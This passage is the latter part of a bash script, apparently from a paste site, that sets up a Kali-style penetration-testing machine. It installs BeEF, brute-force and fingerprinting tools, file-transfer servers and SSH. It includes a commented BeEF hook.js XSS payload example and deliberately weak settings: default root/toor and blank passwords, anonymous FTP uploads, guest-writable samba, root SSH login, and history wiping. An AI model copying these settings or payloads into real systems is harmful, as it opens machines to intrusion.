  3281.  
  3282. cd /opt/droopescan-git/ && python droopescan "\$@"
  3283. EOF
  3284. chmod +x "${file}"
  3285.  
  3286.  
  3287. ##### Install BeEF XSS
  3288. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}BeEF XSS${RESET} ~ XSS framework"
  3289. apt -y -qq install beef-xss \
  3290.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3291. #--- Configure beef
  3292. file=/usr/share/beef-xss/config.yaml; [ -e "${file}" ] && cp -n $file{,.bkup}
  3293. username="root"
  3294. password="toor"
  3295. sed -i 's/user:.*".*"/user:   "'${username}'"/' "${file}"
  3296. sed -i 's/passwd:.*".*"/passwd:  "'${password}'"/'  "${file}"
  3297. echo -e " ${YELLOW}[i]${RESET} BeEF username: ${username}"
  3298. echo -e " ${YELLOW}[i]${RESET} BeEF password: ${password}   ***${BOLD}CHANGE THIS ASAP${RESET}***"
  3299. echo -e " ${YELLOW}[i]${RESET} Edit: /usr/share/beef-xss/config.yaml"
  3300. #--- Example
  3301. #<script src="http://192.168.155.175:3000/hook.js" type="text/javascript"></script>
  3302.  
  3303.  
  3304. ##### Install patator (GIT)
  3305. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}patator${RESET} (GIT) ~ brute force"
  3306. apt -y -qq install git \
  3307.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3308. git clone -q -b master https://github.com/lanjelot/patator.git /opt/patator-git/ \
  3309.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3310. pushd /opt/patator-git/ >/dev/null
  3311. git pull -q
  3312. popd >/dev/null
  3313. #--- Add to path
  3314. mkdir -p /usr/local/bin/
  3315. file=/usr/local/bin/patator-git
  3316. cat <<EOF > "${file}" \
  3317.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3318. #!/bin/bash
  3319.  
  3320. cd /opt/patator-git/ && python patator.py "\$@"
  3321. EOF
  3322. chmod +x "${file}"
  3323.  
  3324.  
  3325. ##### Install crowbar
  3326. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}crowbar${RESET} ~ brute force"
  3327. apt -y -qq install git openvpn freerdp-x11 vncviewer \
  3328.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3329. git clone -q -b master https://github.com/galkan/crowbar.git /opt/crowbar-git/ \
  3330.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3331. pushd /opt/crowbar-git/ >/dev/null
  3332. git pull -q
  3333. popd >/dev/null
  3334. #--- Add to path
  3335. mkdir -p /usr/local/bin/
  3336. file=/usr/local/bin/crowbar-git
  3337. cat <<EOF > "${file}" \
  3338.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3339. #!/bin/bash
  3340.  
  3341. cd /opt/crowbar-git/ && python crowbar.py "\$@"
  3342. EOF
  3343. chmod +x "${file}"
  3344.  
  3345.  
  3346. ##### Install xprobe
  3347. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}xprobe${RESET} ~ OS fingerprinting"
  3348. apt -y -qq install xprobe \
  3349.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3350.  
  3351.  
  3352. ##### Install p0f
  3353. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}p0f${RESET} ~ OS fingerprinting"
  3354. apt -y -qq install p0f \
  3355.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3356. #p0f -i eth0 -p & curl 192.168.0.1
  3357.  
  3358.  
  3359. ##### Install nbtscan ~ http://unixwiz.net/tools/nbtscan.html vs http://inetcat.org/software/nbtscan.html (see http://sectools.org/tool/nbtscan/)
  3360. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}nbtscan${RESET} (${GREEN}inetcat${RESET} & ${GREEN}unixwiz${RESET}) ~ netbios scanner"
  3361. #--- inetcat - 1.5.x
  3362. apt -y -qq install nbtscan \
  3363.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3364. #--- Examples
  3365. #nbtscan -r 192.168.0.1/24
  3366. #nbtscan -r 192.168.0.1/24 -v
  3367. #--- unixwiz - 1.0.x
  3368. mkdir -p /usr/local/src/nbtscan-unixwiz/
  3369. timeout 300 curl --progress -k -L -f "http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz" > /usr/local/src/nbtscan-unixwiz/nbtscan.tgz \
  3370.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading nbtscan.tgz" 1>&2    #***!!! hardcoded version! Need to manually check for updates
  3371. tar -zxf /usr/local/src/nbtscan-unixwiz/nbtscan.tgz -C /usr/local/src/nbtscan-unixwiz/
  3372. pushd /usr/local/src/nbtscan-unixwiz/ >/dev/null
  3373. make -s clean;
  3374. make -s 2>/dev/null    # bad, I know
  3375. popd >/dev/null
  3376. #--- Add to path
  3377. mkdir -p /usr/local/bin/
  3378. ln -sf /usr/local/src/nbtscan-unixwiz/nbtscan /usr/local/bin/nbtscan-uw
  3379. #--- Examples
  3380. #nbtscan-uw -f 192.168.0.1/24
  3381.  
  3382.  
  3383. ##### Setup tftp client & server
  3384. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting up ${GREEN}tftp client${RESET} & ${GREEN}server${RESET} ~ file transfer methods"
  3385. apt -y -qq install tftp atftpd \
  3386.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3387. #--- Configure atftpd
  3388. file=/etc/default/atftpd; [ -e "${file}" ] && cp -n $file{,.bkup}
  3389. echo -e 'USE_INETD=false\nOPTIONS="--tftpd-timeout 300 --retry-timeout 5 --maxthread 100 --verbose=5 --daemon --port 69 /var/tftp"' > "${file}"
  3390. mkdir -p /var/tftp/
  3391. chown -R nobody\:root /var/tftp/
  3392. chmod -R 0755 /var/tftp/
  3393. #--- Setup alias
  3394. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3395. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3396. grep -q '^## tftp' "${file}" 2>/dev/null \
  3397.   || echo -e '## tftp\nalias tftproot="cd /var/tftp/"\n' >> "${file}"
  3398. #--- Apply new alias
  3399. source "${file}" || source ~/.zshrc
  3400. #--- Remove from start up
  3401. systemctl disable atftpd
  3402. #--- Disabling IPv6 can help
  3403. #echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6
  3404. #echo 1 > /proc/sys/net/ipv6/conf/default/disable_ipv6
  3405.  
  3406.  
  3407. ##### Install Pure-FTPd
  3408. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Pure-FTPd${RESET} ~ FTP server/file transfer method"
  3409. apt -y -qq install pure-ftpd \
  3410.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3411. #--- Setup pure-ftpd
  3412. mkdir -p /var/ftp/
  3413. groupdel ftpgroup 2>/dev/null;
  3414. groupadd ftpgroup
  3415. userdel ftp 2>/dev/null;
  3416. useradd -r -M -d /var/ftp/ -s /bin/false -c "FTP user" -g ftpgroup ftp
  3417. chown -R ftp\:ftpgroup /var/ftp/
  3418. chmod -R 0755 /var/ftp/
  3419. pure-pw userdel ftp 2>/dev/null;
  3420. echo -e '\n' | pure-pw useradd ftp -u ftp -d /var/ftp/
  3421. pure-pw mkdb
  3422. #--- Configure pure-ftpd
  3423. echo "no" > /etc/pure-ftpd/conf/UnixAuthentication
  3424. echo "no" > /etc/pure-ftpd/conf/PAMAuthentication
  3425. echo "yes" > /etc/pure-ftpd/conf/NoChmod
  3426. echo "yes" > /etc/pure-ftpd/conf/ChrootEveryone
  3427. #echo "yes" > /etc/pure-ftpd/conf/AnonymousOnly
  3428. echo "no" > /etc/pure-ftpd/conf/NoAnonymous
  3429. echo "yes" > /etc/pure-ftpd/conf/AnonymousCanCreateDirs
  3430. echo "yes" > /etc/pure-ftpd/conf/AllowAnonymousFXP
  3431. echo "no" > /etc/pure-ftpd/conf/AnonymousCantUpload
  3432. echo "30768 31768" > /etc/pure-ftpd/conf/PassivePortRange              #cat /proc/sys/net/ipv4/ip_local_port_range
  3433. echo "/etc/pure-ftpd/welcome.msg" > /etc/pure-ftpd/conf/FortunesFile   #/etc/motd
  3434. echo "FTP" > /etc/pure-ftpd/welcome.msg
  3435. ln -sf /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50pure
  3436. #--- 'Better' MOTD
  3437. apt -y -qq install cowsay \
  3438.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3439. echo "moo" | /usr/games/cowsay > /etc/pure-ftpd/welcome.msg
  3440. echo -e " ${YELLOW}[i]${RESET} Pure-FTPd username: anonymous"
  3441. echo -e " ${YELLOW}[i]${RESET} Pure-FTPd password: anonymous"
  3442. #--- Apply settings
  3443. systemctl restart pure-ftpd
  3444. #--- Setup alias
  3445. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3446. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3447. grep -q '^## ftp' "${file}" 2>/dev/null \
  3448.   || echo -e '## ftp\nalias ftproot="cd /var/ftp/"\n' >> "${file}"
  3449. #--- Apply new alias
  3450. source "${file}" || source ~/.zshrc
  3451. #--- Remove from start up
  3452. systemctl disable pure-ftpd
  3453.  
  3454.  
  3455. ##### Install samba
  3456. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}samba${RESET} ~ file transfer method"
  3457. #--- Installing samba
  3458. apt -y -qq install samba \
  3459.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3460. apt -y -qq install cifs-utils \
  3461.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3462. #--- Create samba user
  3463. groupdel smbgroup 2>/dev/null;
  3464. groupadd smbgroup
  3465. userdel samba 2>/dev/null;
  3466. useradd -r -M -d /nonexistent -s /bin/false -c "Samba user" -g smbgroup samba
  3467. #--- Use the samba user
  3468. file=/etc/samba/smb.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  3469. sed -i 's/guest account = .*/guest account = samba/' "${file}" 2>/dev/null
  3470. grep -q 'guest account' "${file}" 2>/dev/null \
  3471.   || sed -i 's#\[global\]#\[global\]\n   guest account = samba#' "${file}"
  3472. #--- Setup samba paths
  3473. grep -q '^\[shared\]' "${file}" 2>/dev/null \
  3474.   || cat <<EOF >> "${file}"
  3475.  
  3476. [shared]
  3477.   comment = Shared
  3478.   path = /var/samba/
  3479.   browseable = yes
  3480.   guest ok = yes
  3481.   #guest only = yes
  3482.   read only = no
  3483.   writable = yes
  3484.   create mask = 0644
  3485.   directory mask = 0755
  3486. EOF
  3487. #--- Create samba path and configure it
  3488. mkdir -p /var/samba/
  3489. chown -R samba\:smbgroup /var/samba/
  3490. chmod -R 0755 /var/samba/
  3491. #--- Bug fix
  3492. touch /etc/printcap
  3493. #--- Check
  3494. #systemctl restart samba
  3495. #smbclient -L \\127.0.0.1 -N
  3496. #mount -t cifs -o guest //127.0.0.1/share /mnt/smb     mkdir -p /mnt/smb
  3497. #--- Disable samba at startup
  3498. systemctl stop samba
  3499. systemctl disable samba
  3500. echo -e " ${YELLOW}[i]${RESET} Samba username: guest"
  3501. echo -e " ${YELLOW}[i]${RESET} Samba password: <blank>"
  3502. #--- Setup alias
  3503. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3504. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3505. grep -q '^## smb' "${file}" 2>/dev/null \
  3506.   || echo -e '## smb\nalias smb="cd /var/samba/"\n#alias smbroot="cd /var/samba/"\n' >> "${file}"
  3507. #--- Apply new alias
  3508. source "${file}" || source ~/.zshrc
  3509.  
  3510.  
  3511. ##### Install apache2 & php
  3512. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apache2${RESET} & ${GREEN}php${RESET} ~ web server"
  3513. apt -y -qq install apache2 php php-cli php-curl \
  3514.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3515. touch /var/www/html/favicon.ico
  3516. grep -q '<title>Apache2 Debian Default Page: It works</title>' /var/www/html/index.html 2>/dev/null \
  3517.   && rm -f /var/www/html/index.html \
  3518.   && echo '<?php echo "Access denied for " . $_SERVER["REMOTE_ADDR"]; ?>' > /var/www/html/index.php \
  3519.   && echo -e 'User-agent: *n\Disallow: /\n' > /var/www/html/robots.txt
  3520. #--- Setup alias
  3521. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3522. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3523. grep -q '^## www' "${file}" 2>/dev/null \
  3524.   || echo -e '## www\nalias wwwroot="cd /var/www/html/"\n' >> "${file}"
  3525. #--- Apply new alias
  3526. source "${file}" || source ~/.zshrc
  3527.  
  3528.  
  3529. ##### Install mysql
  3530. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MySQL${RESET} ~ database"
  3531. apt -y -qq install mysql-server \
  3532.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3533. echo -e " ${YELLOW}[i]${RESET} MySQL username: root"
  3534. echo -e " ${YELLOW}[i]${RESET} MySQL password: <blank>   ***${BOLD}CHANGE THIS ASAP${RESET}***"
  3535. [[ -e ~/.my.cnf ]] \
  3536.   || cat <<EOF > ~/.my.cnf
  3537. [client]
  3538. user=root
  3539. host=localhost
  3540. password=
  3541. EOF
  3542.  
  3543.  
  3544. ##### Install rsh-client
  3545. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}rsh-client${RESET} ~ remote shell connections"
  3546. apt -y -qq install rsh-client \
  3547.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3548.  
  3549.  
  3550. ##### Install sshpass
  3551. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sshpass${RESET} ~ automating SSH connections"
  3552. apt -y -qq install sshpass \
  3553.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3554.  
  3555.  
  3556. ##### Install DBeaver
  3557. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}DBeaver${RESET} ~ GUI DB manager"
  3558. apt -y -qq install curl \
  3559.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3560. arch="i386"
  3561. [[ "$(uname -m)" == "x86_64" ]] && arch="amd64"
  3562. timeout 300 curl --progress -k -L -f "http://dbeaver.jkiss.org/files/dbeaver-ce_latest_${arch}.deb" > /tmp/dbeaver.deb \
  3563.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading dbeaver.deb" 1>&2   #***!!! hardcoded version! Need to manually check for updates
  3564. if [ -e /tmp/dbeaver.deb ]; then
  3565.   dpkg -i /tmp/dbeaver.deb
  3566.   #--- Add to path
  3567.   mkdir -p /usr/local/bin/
  3568.   ln -sf /usr/share/dbeaver/dbeaver /usr/local/bin/dbeaver
  3569. fi
  3570.  
  3571.  
  3572. ##### Install ashttp
  3573. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ashttp${RESET} ~ terminal via the web"
  3574. apt -y -qq install git \
  3575.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3576. git clone -q -b master https://github.com/JulienPalard/ashttp.git /opt/ashttp-git/ \
  3577.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3578. pushd /opt/ashttp-git/ >/dev/null
  3579. git pull -q
  3580. popd >/dev/null
  3581.  
  3582.  
  3583. ##### Install gotty
  3584. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gotty${RESET} ~ terminal via the web"
  3585. apt -y -qq install git \
  3586.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3587. git clone -q -b master https://github.com/yudai/gotty.git /opt/gotty-git/ \
  3588.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3589. pushd /opt/gotty-git/ >/dev/null
  3590. git pull -q
  3591. popd >/dev/null
  3592.  
  3593.  
  3594. ##### Preparing a jail ~ http://allanfeid.com/content/creating-chroot-jail-ssh-access // http://www.cyberciti.biz/files/lighttpd/l2chroot.txt
  3595. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Preparing up a ${GREEN}jail${RESET} ~ testing environment"
  3596. apt -y -qq install debootstrap curl \
  3597.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3598.  
  3599.  
  3600. ##### Setup SSH
  3601. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting up ${GREEN}SSH${RESET} ~ CLI access"
  3602. apt -y -qq install openssh-server \
  3603.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3604. #--- Wipe current keys
  3605. rm -f /etc/ssh/ssh_host_*
  3606. find ~/.ssh/ -type f ! -name authorized_keys -delete 2>/dev/null
  3607. #--- Generate new keys
  3608. ssh-keygen -b 4096 -t rsa1 -f /etc/ssh/ssh_host_key -P "" >/dev/null
  3609. ssh-keygen -b 4096 -t rsa -f /etc/ssh/ssh_host_rsa_key -P "" >/dev/null
  3610. ssh-keygen -b 1024 -t dsa -f /etc/ssh/ssh_host_dsa_key -P "" >/dev/null
  3611. ssh-keygen -b 521 -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -P "" >/dev/null
  3612. ssh-keygen -b 4096 -t rsa -f ~/.ssh/id_rsa -P "" >/dev/null
  3613. #--- Change MOTD
  3614. apt -y -qq install cowsay \
  3615.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3616. echo "Moo" | /usr/games/cowsay > /etc/motd
  3617. #--- Change SSH settings
  3618. file=/etc/ssh/sshd_config; [ -e "${file}" ] && cp -n $file{,.bkup}
  3619. sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/g' "${file}"      # Accept password login (overwrite Debian 8+'s more secure default option...)
  3620. sed -i 's/^#AuthorizedKeysFile /AuthorizedKeysFile /g' "${file}"    # Allow for key based login
  3621. #sed -i 's/^Port .*/Port 2222/g' "${file}"
  3622. #--- Enable ssh at startup
  3623. #systemctl enable ssh
  3624. #--- Setup alias (handy for 'zsh: correct 'ssh' to '.ssh' [nyae]? n')
  3625. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3626. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3627. grep -q '^## ssh' "${file}" 2>/dev/null \
  3628.   || echo -e '## ssh\nalias ssh-start="systemctl restart ssh"\nalias ssh-stop="systemctl stop ssh"\n' >> "${file}"
  3629. #--- Apply new alias
  3630. source "${file}" || source ~/.zshrc
  3631.  
  3632.  
  3633.  
  3634. ##### Custom insert point
  3635.  
  3636.  
  3637.  
  3638. ##### Clean the system
  3639. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Cleaning${RESET} the system"
  3640. #--- Clean package manager
  3641. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done
  3642. apt -y -qq purge $(dpkg -l | tail -n +6 | egrep -v '^(h|i)i' | awk '{print $2}')   # Purged packages
  3643. #--- Update slocate database
  3644. updatedb
  3645. #--- Reset folder location
  3646. cd ~/ &>/dev/null
  3647. #--- Remove any history files (as they could contain sensitive info)
  3648. history -cw 2>/dev/null
  3649. for i in $(cut -d: -f6 /etc/passwd | sort -u); do
  3650.   [ -e "${i}" ] && find "${i}" -type f -name '.*_history' -delete
  3651. done
  3652.  
  3653.  
  3654. ##### Time taken
  3655. finish_time=$(date +%s)
  3656. echo -e "\n\n ${YELLOW}[i]${RESET} Time (roughly) taken: ${YELLOW}$(( $(( finish_time - start_time )) / 60 )) minutes${RESET}"
  3657. echo -e " ${YELLOW}[i]${RESET} Stages skipped: $(( TOTAL-STAGE ))"
  3658.  
  3659.  
  3660. #-Done-----------------------------------------------------------------#
  3661.  
  3662.  
  3663. ##### Done!
  3664. echo -e "\n ${YELLOW}[i]${RESET} Don't forget to:"
  3665. echo -e " ${YELLOW}[i]${RESET} + Check the above output (Did everything install? Any errors? (${RED}HINT: What's in RED${RESET}?)"
  3666. echo -e " ${YELLOW}[i]${RESET} + Manually install: Nessus, Nexpose, and/or Metasploit Community"
  3667. echo -e " ${YELLOW}[i]${RESET} + Agree/Accept to: Maltego, OWASP ZAP, w3af, PyCharm, etc"
  3668. echo -e " ${YELLOW}[i]${RESET} + Setup git:   ${YELLOW}git config --global user.name <name>;git config --global user.email <email>${RESET}"
  3669. echo -e " ${YELLOW}[i]${RESET} + ${BOLD}Change default passwords${RESET}: PostgreSQL/MSF, MySQL, OpenVAS, BeEF XSS, etc"
  3670. echo -e " ${YELLOW}[i]${RESET} + ${YELLOW}Reboot${RESET}"
  3671. (dmidecode | grep -iq virtual) \
  3672.   && echo -e " ${YELLOW}[i]${RESET} + Take a snapshot   (Virtual machine detected)"
  3673.  
  3674. echo -e '\n'${BLUE}'[*]'${RESET}' '${BOLD}'Done!'${RESET}'\n\a'
  3675. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement